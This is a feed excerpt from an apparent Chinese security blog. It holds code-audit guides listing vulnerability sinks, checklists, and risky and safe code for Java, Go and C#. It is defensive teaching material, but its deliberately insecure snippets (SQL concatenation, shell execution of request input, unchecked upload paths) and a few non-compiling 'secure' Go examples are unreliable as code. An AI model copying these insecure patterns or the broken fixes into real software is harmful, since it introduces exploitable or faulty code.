&lt;h3&gt;OGNL注入&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;Ognl.parseExpression()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：是否允许用户输入作为OGNL表达式&lt;/p&gt;
&lt;h3&gt;安全实现（SpEL）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;String expression = request.getParameter(&quot;expr&quot;);
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = 
    SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression exp = parser.parseExpression(expression);
Object result = exp.getValue(context);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;10. 其他漏洞&lt;/h2&gt;
&lt;h3&gt;JNDI注入&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;InitialContext.lookup()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：用户输入是否被用作JNDI名称&lt;/p&gt;
&lt;h3&gt;日志注入&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;logger.info()&lt;/code&gt;、&lt;code&gt;logger.debug()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：是否记录了未清理的用户输入；是否使用了参数化日志&lt;/p&gt;
&lt;h3&gt;LDAP注入&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;DirContext.search()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：是否转义了LDAP特殊字符&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;11. 审计工具&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;静态分析：CodeQL、Semgrep、SonarQube、Fortify&lt;/li&gt;
&lt;li&gt;动态检测：OWASP ZAP、Burp Suite、AppScan&lt;/li&gt;
&lt;li&gt;依赖检查：OWASP Dependency-Check、Snyk&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Go 代码审计 - 漏洞Sink点</title><link>https://blog.0xd00.com/blog/go_audit</link><guid isPermaLink="true">https://blog.0xd00.com/blog/go_audit</guid><description>Go 代码审计 - 漏洞Sink点</description><pubDate>Thu, 18 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. SQL注入&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;database/sql.DB.Query()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;database/sql.DB.QueryRow()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;database/sql.DB.Exec()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;database/sql.Stmt.Query()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;database/sql.Stmt.QueryRow()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;database/sql.Stmt.Exec()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GORM Where()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GORM Raw()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GORM Order()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否使用&lt;code&gt;?&lt;/code&gt;占位符进行参数化&lt;/li&gt;
&lt;li&gt;SQL语句中是否存在字符串拼接&lt;/li&gt;
&lt;li&gt;用户输入是否直接进入SQL&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;Prepare()&lt;/code&gt;进行预处理&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GORM Where()&lt;/code&gt;是否参数化形式&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GORM Raw()&lt;/code&gt;是否与用户拼接&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GORM Order()&lt;/code&gt;是否有白名单&lt;/li&gt;
&lt;li&gt;无法参数化部分是否验证&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式1：字符串拼接
username := r.FormValue(&quot;username&quot;)
query := &quot;SELECT * FROM users WHERE username = &apos;&quot; + username + &quot;&apos;&quot;
rows, err := db.Query(query)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式2：GORM Raw拼接
filter := r.FormValue(&quot;filter&quot;)
var user User
db.Raw(&quot;SELECT * FROM users WHERE username = &apos;&quot; + filter + &quot;&apos;&quot;).Scan(&amp;#x26;user)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式3：GORM Where拼接
db.Where(&quot;username = &apos;&quot; + username + &quot;&apos;&quot;).First(&amp;#x26;user)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式4：ORDER BY未验证
orderBy := r.FormValue(&quot;orderBy&quot;)
db.Order(orderBy).Find(&amp;#x26;users)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 方案1：参数化查询
username := r.FormValue(&quot;username&quot;)
var user User
err := db.QueryRow(
    &quot;SELECT id, username FROM users WHERE username = ?&quot;,
    username,
).Scan(&amp;#x26;user.ID, &amp;#x26;user.Username)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 方案2：GORM参数化
db.Where(&quot;username = ?&quot;, username).First(&amp;#x26;user)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 方案3：GORM Order白名单
orderBy := r.FormValue(&quot;orderBy&quot;)
allowedFields := map[string]bool{
    &quot;id&quot;: true, &quot;username&quot;: true, &quot;email&quot;: true, &quot;created_at&quot;: true,
}
if !allowedFields[orderBy] {
    http.Error(w, &quot;Invalid field&quot;, 400)
    return
}
db.Order(orderBy).Find(&amp;#x26;users)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 方案4：Prepare预处理
stmt, err := db.Prepare(&quot;SELECT * FROM users WHERE username = ?&quot;)
if err != nil {
    log.Fatal(err)
}
defer stmt.Close()

rows, err := stmt.Query(username)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;2. 命令执行&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;os/exec.Command()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;os/exec.CommandContext()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;os/exec.LookPath()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;第二个参数(args)是否包含用户输入&lt;/li&gt;
&lt;li&gt;第一个参数(程序名)是否来自用户&lt;/li&gt;
&lt;li&gt;是否使用了绝对路径&lt;/li&gt;
&lt;li&gt;是否实现了命令白名单&lt;/li&gt;
&lt;li&gt;参数是否进行了验证&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式1：用户输入直接作为命令
cmd := r.FormValue(&quot;cmd&quot;)
out, err := exec.Command(cmd).CombinedOutput()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式2：通过shell执行用户输入
cmd := r.FormValue(&quot;cmd&quot;)
out, err := exec.Command(&quot;sh&quot;, &quot;-c&quot;, cmd).CombinedOutput()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式3：从用户输入确定可执行程序
program := r.FormValue(&quot;program&quot;)
out, err := exec.Command(program, &quot;arg&quot;).CombinedOutput()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式4：参数包含用户输入但未验证
hostname := r.FormValue(&quot;host&quot;)
out, err := exec.Command(&quot;ping&quot;, &quot;-c&quot;, &quot;4&quot;, hostname).CombinedOutput()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 方案1：命令白名单
cmd := r.FormValue(&quot;cmd&quot;)
allowedCommands := map[string]bool{
    &quot;whoami&quot;: true,
    &quot;date&quot;:   true,
    &quot;pwd&quot;:    true,
}

if !allowedCommands[cmd] {
    http.Error(w, &quot;Command not allowed&quot;, 400)
    return
}

out, err := exec.Command(cmd).CombinedOutput()
fmt.Fprint(w, string(out))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 方案2：参数白名单+绝对路径
hostname := r.FormValue(&quot;host&quot;)
allowedHosts := map[string]bool{
    &quot;google.com&quot;:  true,
    &quot;github.com&quot;:  true,
    &quot;example.com&quot;: true,
}

if !allowedHosts[hostname] {
    http.Error(w, &quot;Host not allowed&quot;, 400)
    return
}

cmd := exec.Command(&quot;/bin/ping&quot;, &quot;-c&quot;, &quot;4&quot;, hostname)
cmd.Stdout = w
cmd.Stderr = w
err := cmd.Run()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;3. 文件上传和任意文件写入&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;os.Create()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;os.OpenFile()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ioutil.WriteFile()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;os.WriteFile()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;io.Copy()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;扩展名是否进行白名单验证&lt;/li&gt;
&lt;li&gt;是否防止了&lt;code&gt;.go&lt;/code&gt;、&lt;code&gt;.exe&lt;/code&gt;等文件&lt;/li&gt;
&lt;li&gt;MIME类型是否经过验证&lt;/li&gt;
&lt;li&gt;文件名是否包含路径分隔符&lt;/li&gt;
&lt;li&gt;是否生成了新文件名&lt;/li&gt;
&lt;li&gt;最终路径是否在预期目录内&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式1：直接使用上传文件名
file, header, _ := r.FormFile(&quot;upload&quot;)
defer file.Close()

dst, _ := os.Create(&quot;uploads/&quot; + header.Filename)
io.Copy(dst, file)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式2：仅检查扩展名
if !strings.HasSuffix(header.Filename, &quot;.jpg&quot;) {
    return
}
// 但shell.jpg.go可绕过
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;import (
    &quot;crypto/md5&quot;
    &quot;fmt&quot;
    &quot;io&quot;
    &quot;path/filepath&quot;
    &quot;strings&quot;
)

func handleFileUpload(w http.ResponseWriter, r *http.Request) {
    r.ParseMultipartForm(10 * 1024 * 1024)
    
    file, header, err := r.FormFile(&quot;upload&quot;)
    if err != nil {
        http.Error(w, &quot;Upload error&quot;, 400)
        return
    }
    defer file.Close()
    
    ext := filepath.Ext(header.Filename)
    allowedExts := map[string]bool{
        &quot;.jpg&quot;: true, &quot;.jpeg&quot;: true, &quot;.png&quot;: true, &quot;.gif&quot;: true,
    }
    
    if !allowedExts[strings.ToLower(ext)] {
        http.Error(w, &quot;File type not allowed&quot;, 400)
        return
    }
    
    buf := make([]byte, 512)
    n, _ := file.Read(buf)
    mimeType := http.DetectContentType(buf[:n])
    file.Seek(0, 0)
    
    allowedMimes := map[string]bool{
        &quot;image/jpeg&quot;: true,
        &quot;image/png&quot;:  true,
        &quot;image/gif&quot;:  true,
    }
    
    if !allowedMimes[mimeType] {
        http.Error(w, &quot;Invalid MIME type&quot;, 400)
        return
    }
    
    hash := md5.Sum(buf[:n])
    filename := fmt.Sprintf(&quot;%x%s&quot;, hash, ext)
    
    uploadDir := &quot;uploads&quot;
    filepath := filepath.Join(uploadDir, filename)
    absPath, _ := filepath.Abs(filepath)
    absDir, _ := filepath.Abs(uploadDir)
    
    if !strings.HasPrefix(absPath, absDir) {
        http.Error(w, &quot;Invalid path&quot;, 400)
        return
    }
    
    dst, err := os.OpenFile(filepath, os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        http.Error(w, &quot;Save error&quot;, 500)
        return
    }
    defer dst.Close()
    
    io.Copy(dst, file)
    w.WriteHeader(http.StatusOK)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;4. 任意文件读取&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;os.Open()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ioutil.ReadFile()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;os.ReadFile()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;io.ReadAll()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bufio.Scanner&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用户参数是否直接作为文件路径&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;filepath.Base()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;filepath.Abs()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;最终路径是否在允许目录内&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func readFileSafely(w http.ResponseWriter, r *http.Request) {
    filename := r.FormValue(&quot;file&quot;)
    
    safeName := filepath.Base(filename)
    baseDir := &quot;files&quot;
    filepath := filepath.Join(baseDir, safeName)
    absPath, _ := filepath.Abs(filepath)
    absBaseDir, _ := filepath.Abs(baseDir)
    
    if !strings.HasPrefix(absPath, absBaseDir) {
        http.Error(w, &quot;Access denied&quot;, 403)
        return
    }
    
    content, err := ioutil.ReadFile(filepath)
    if err != nil {
        http.Error(w, &quot;File not found&quot;, 404)
        return
    }
    
    w.Header().Set(&quot;Content-Type&quot;, &quot;text/plain&quot;)
    w.Write(content)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;5. 路径遍历&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;文件操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;路径是否包含用户输入&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;filepath.Clean()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;规范化后路径是否在基础目录内&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func validatePath(userPath string) (string, error) {
    baseDir := &quot;downloads&quot;
    filepath := filepath.Join(baseDir, userPath)
    filepath = filepath.Clean(filepath)
    
    absPath, _ := filepath.Abs(filepath)
    absBaseDir, _ := filepath.Abs(baseDir)
    
    if !strings.HasPrefix(absPath, absBaseDir) {
        return &quot;&quot;, fmt.Errorf(&quot;path traversal detected&quot;)
    }
    
    return absPath, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;6. XXE (XML External Entity)&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;encoding/xml.Unmarshal()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;encoding/xml.NewDecoder()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;encoding/xml.Decoder.Decode()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否对不可信XML进行解析&lt;/li&gt;
&lt;li&gt;是否禁用了外部实体&lt;/li&gt;
&lt;li&gt;DOCTYPE声明是否被检查&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;说明：Go的&lt;code&gt;encoding/xml&lt;/code&gt;默认不解析外部实体，相对安全。&lt;/p&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;xmlData := r.FormValue(&quot;xml&quot;)

// 可选：检查并拒绝DOCTYPE
if strings.Contains(xmlData, &quot;&amp;#x3C;!DOCTYPE&quot;) {
    http.Error(w, &quot;DOCTYPE not allowed&quot;, 400)
    return
}

decoder := xml.NewDecoder(strings.NewReader(xmlData))
var data MyStruct
err := decoder.Decode(&amp;#x26;data)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;7. SSRF (Server-Side Request Forgery)&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;net.Dial()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http.Get()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http.Post()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http.Client.Do()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;net.LookupIP()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否允许用户指定URL&lt;/li&gt;
&lt;li&gt;是否检测内部地址（127.0.0.1）&lt;/li&gt;
&lt;li&gt;是否限制了协议（仅HTTP/HTTPS）&lt;/li&gt;
&lt;li&gt;是否防止了DNS重绑定&lt;/li&gt;
&lt;li&gt;域名是否在白名单内&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;import (
    &quot;net&quot;
    &quot;net/url&quot;
)

func isPrivateIP(ip string) bool {
    parsedIP := net.ParseIP(ip)
    return parsedIP.IsLoopback() || parsedIP.IsPrivate() || parsedIP.IsLinkLocalUnicast()
}

func validateURL(urlStr string) error {
    parsedURL, err := url.Parse(urlStr)
    if err != nil {
        return err
    }
    
    if parsedURL.Scheme != &quot;http&quot; &amp;#x26;&amp;#x26; parsedURL.Scheme != &quot;https&quot; {
        return fmt.Errorf(&quot;invalid scheme: %s&quot;, parsedURL.Scheme)
    }
    
    ips, err := net.LookupIP(parsedURL.Hostname())
    if err != nil {
        return err
    }
    
    for _, ip := range ips {
        if isPrivateIP(ip.String()) {
            return fmt.Errorf(&quot;private IP address not allowed&quot;)
        }
    }
    
    whitelist := map[string]bool{
        &quot;example.com&quot;:     true,
        &quot;api.example.com&quot;: true,
    }
    
    if !whitelist[parsedURL.Hostname()] {
        return fmt.Errorf(&quot;domain not in whitelist&quot;)
    }
    
    return nil
}

func handleFetch(w http.ResponseWriter, r *http.Request) {
    urlStr := r.FormValue(&quot;url&quot;)
    
    if err := validateURL(urlStr); err != nil {
        http.Error(w, err.Error(), 400)
        return
    }
    
    client := &amp;#x26;http.Client{Timeout: 10 * time.Second}
    resp, err := client.Get(urlStr)
    if err != nil {
        http.Error(w, &quot;Fetch error&quot;, 500)
        return
    }
    defer resp.Body.Close()
    
    io.Copy(w, resp.Body)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;8. 模板注入&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;text/template.Parse()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;html/template.Parse()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;text/template.Execute()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;html/template.Execute()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否允许用户编辑模板&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;text/template&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;html/template&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;是否将用户输入作为模板&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式1：用户可控制模板
tplContent := r.FormValue(&quot;template&quot;)
tpl, _ := template.New(&quot;user&quot;).Parse(tplContent)
tpl.Execute(w, data)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 模式2：使用text/template（无XSS防护）
import &quot;text/template&quot;
// &amp;#x3C;script&gt; 会直接输出
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;import &quot;html/template&quot;

// 方案1：从文件加载
tpl, _ := html.template.ParseFiles(&quot;templates/index.html&quot;)
tpl.Execute(w, data)

// 方案2：使用html/template（自动转义）
tpl, _ := html.template.New(&quot;safe&quot;).Parse(&quot;&amp;#x3C;div&gt;{{.UserInput}}&amp;#x3C;/div&gt;&quot;)
// UserInput中的&amp;#x3C;script&gt;会被转义

// 方案3：显式转义
import &quot;html&quot;
safeTxt := html.EscapeString(userInput)
fmt.Fprintf(w, &quot;&amp;#x3C;div&gt;%s&amp;#x3C;/div&gt;&quot;, safeTxt)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;9. 其他漏洞&lt;/h2&gt;
&lt;h3&gt;XSS&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;fmt.Fprint()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：使用&lt;code&gt;html/template&lt;/code&gt;自动转义&lt;/p&gt;
&lt;h3&gt;开放重定向&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;http.Redirect()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：验证重定向URL&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Go语言安全特性&lt;/h2&gt;
&lt;p&gt;| 特性 | 说明 |
|-----|------|
| 强类型编译 | 编译期类型检查 |
| 默认XML安全 | &lt;code&gt;encoding/xml&lt;/code&gt;不解析外部实体 |
| 反序列化安全 | 不自动调用方法 |
| 内存安全 | 垃圾回收机制 |&lt;/p&gt;
&lt;h3&gt;注意事项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Windows下&lt;code&gt;os/exec&lt;/code&gt;的PATH搜索问题&lt;/li&gt;
&lt;li&gt;&lt;code&gt;text/template&lt;/code&gt;缺乏XSS防护，应使用&lt;code&gt;html/template&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第三方库可能有漏洞&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;11. 审计工具&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;静态分析：golangci-lint、gosec、SonarQube、Semgrep&lt;/li&gt;
&lt;li&gt;动态检测：OWASP ZAP、Burp Suite&lt;/li&gt;
&lt;li&gt;依赖检查：&lt;code&gt;go mod audit&lt;/code&gt;（Go 1.21+）、nancy、Snyk&lt;/li&gt;
&lt;li&gt;官方工具：&lt;code&gt;govulncheck&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>C Sharp 代码审计 - 漏洞Sink点</title><link>https://blog.0xd00.com/blog/csharp_audit</link><guid isPermaLink="true">https://blog.0xd00.com/blog/csharp_audit</guid><description>C Sharp 代码审计 - 漏洞Sink点</description><pubDate>Thu, 18 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. SQL注入&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SqlCommand.ExecuteNonQuery()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SqlCommand.ExecuteReader()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SqlCommand.ExecuteScalar()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SqlDataAdapter.Fill()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DbContext.Database.ExecuteSql()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DbContext.Database.SqlQuery()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Dapper connection.Query()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FromSqlRaw()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FromSqlInterpolated()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否使用参数化查询（占位符@parameter）&lt;/li&gt;
&lt;li&gt;SQL字符串是否通过拼接构造&lt;/li&gt;
&lt;li&gt;用户输入是否直接进入SQL&lt;/li&gt;
&lt;li&gt;参数是否通过&lt;code&gt;Parameters.AddWithValue()&lt;/code&gt;绑定&lt;/li&gt;
&lt;li&gt;所有用户输入是否都被参数化处理&lt;/li&gt;
&lt;li&gt;EF Core &lt;code&gt;FromSql()&lt;/code&gt;与&lt;code&gt;FromSqlRaw()&lt;/code&gt;区别&lt;/li&gt;
&lt;li&gt;特殊子句（ORDER BY）是否有白名单&lt;/li&gt;
&lt;li&gt;存储过程参数是否验证&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式1：直接拼接
string username = Request.QueryString[&quot;username&quot;];
string sql = &quot;SELECT * FROM Users WHERE Name = &apos;&quot; + username + &quot;&apos;&quot;;
var cmd = new SqlCommand(sql, connection);
var result = cmd.ExecuteReader();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式2：EF Core FromSqlRaw使用字符串插值
string filter = Request.QueryString[&quot;filter&quot;];
var users = context.Users
    .FromSqlRaw($&quot;SELECT * FROM Users WHERE Name = {filter}&quot;)
    .ToList();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式3：ORM框架拼接SQL
var users = db.Queryable&amp;#x3C;User&gt;()
    .Select(x =&gt; SqlFunc.MappingColumn(&quot;SELECT * FROM Users WHERE Name = &apos;&quot; + userInput + &quot;&apos;&quot;))
    .ToList();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 方案1：参数化查询
string username = Request.QueryString[&quot;username&quot;];
string sql = &quot;SELECT * FROM Users WHERE Name = @username&quot;;
using (SqlCommand cmd = new SqlCommand(sql, connection))
{
    cmd.Parameters.AddWithValue(&quot;@username&quot;, username);
    var reader = cmd.ExecuteReader();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 方案2：EF Core参数化
var username = Request.QueryString[&quot;username&quot;];
var users = await context.Users
    .FromSql($&quot;SELECT * FROM Users WHERE Name = {username}&quot;)
    .ToListAsync();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 方案3：LINQ避免手写SQL
var username = Request.QueryString[&quot;username&quot;];
var users = context.Users
    .Where(u =&gt; u.Name == username)
    .ToList();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 方案4：ORDER BY白名单
string orderBy = Request.QueryString[&quot;orderBy&quot;] ?? &quot;id&quot;;
